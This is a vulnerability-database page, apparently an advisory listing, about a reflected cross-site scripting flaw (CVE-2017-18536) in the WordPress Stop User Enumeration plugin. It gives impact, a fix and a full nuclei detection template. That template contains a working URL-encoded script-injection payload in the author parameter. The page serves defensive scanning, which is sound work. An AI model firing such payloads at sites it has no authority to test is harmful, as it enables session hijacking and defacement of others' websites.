HexBrain

Browse / CVEs / CVE-2017-18536

CVE-2017-18536· fullworks / stop user enumeration· CWE-79

WordPress Stop User Enumeration <=1.3.7 - Cross-Site Scripting

mediumseverity
6.1CVSS score
2%likelihood of exploitation, next 30 days
81%of all CVEs are less likely
Readycheck to confirm it

WordPress Stop User Enumeration 1.3.7 and earlier are vulnerable to unauthenticated reflected cross-site scripting.

Impact

This vulnerability allows remote attackers to execute arbitrary script or HTML code in the context of the victim's browser, potentially leading to session hijacking, phishing attacks, or defacement of the affected website.

Fix

Update to the latest version of the WordPress Stop User Enumeration plugin or apply the provided patch to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/?author=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "forbidden - number in author" and "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2017-18536 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2017-18536

info:
  name: WordPress Stop User Enumeration <=1.3.7 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Stop User Enumeration 1.3.7 and earlier are vulnerable to unauthenticated reflected cross-site scripting.
  impact: |
    This vulnerability allows remote attackers to execute arbitrary script or HTML code in the context of the victim's browser, potentially leading to session hijacking, phishing attacks, or defacement of the affected website.
  remediation: |
    Update to the latest version of the WordPress Stop User Enumeration plugin or apply the provided patch to fix the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/956cc5fd-af06-43ac-aa85-46b468c73501
    - https://wordpress.org/plugins/stop-user-enumeration/#developers
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18536
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18536
    cwe-id: CWE-79
    epss-score: 0.0203
    epss-percentile: 0.81209
    cpe: cpe:2.3:a:fullworks:stop_user_enumeration:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: fullworks
    product: stop_user_enumeration
    framework: wordpress
  tags: cve2017,cve,wpscan,wordpress,xss,wp-plugin,fullworks,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?author=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "forbidden - number in author"
          - "</script><script>alert(document.domain)</script>"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from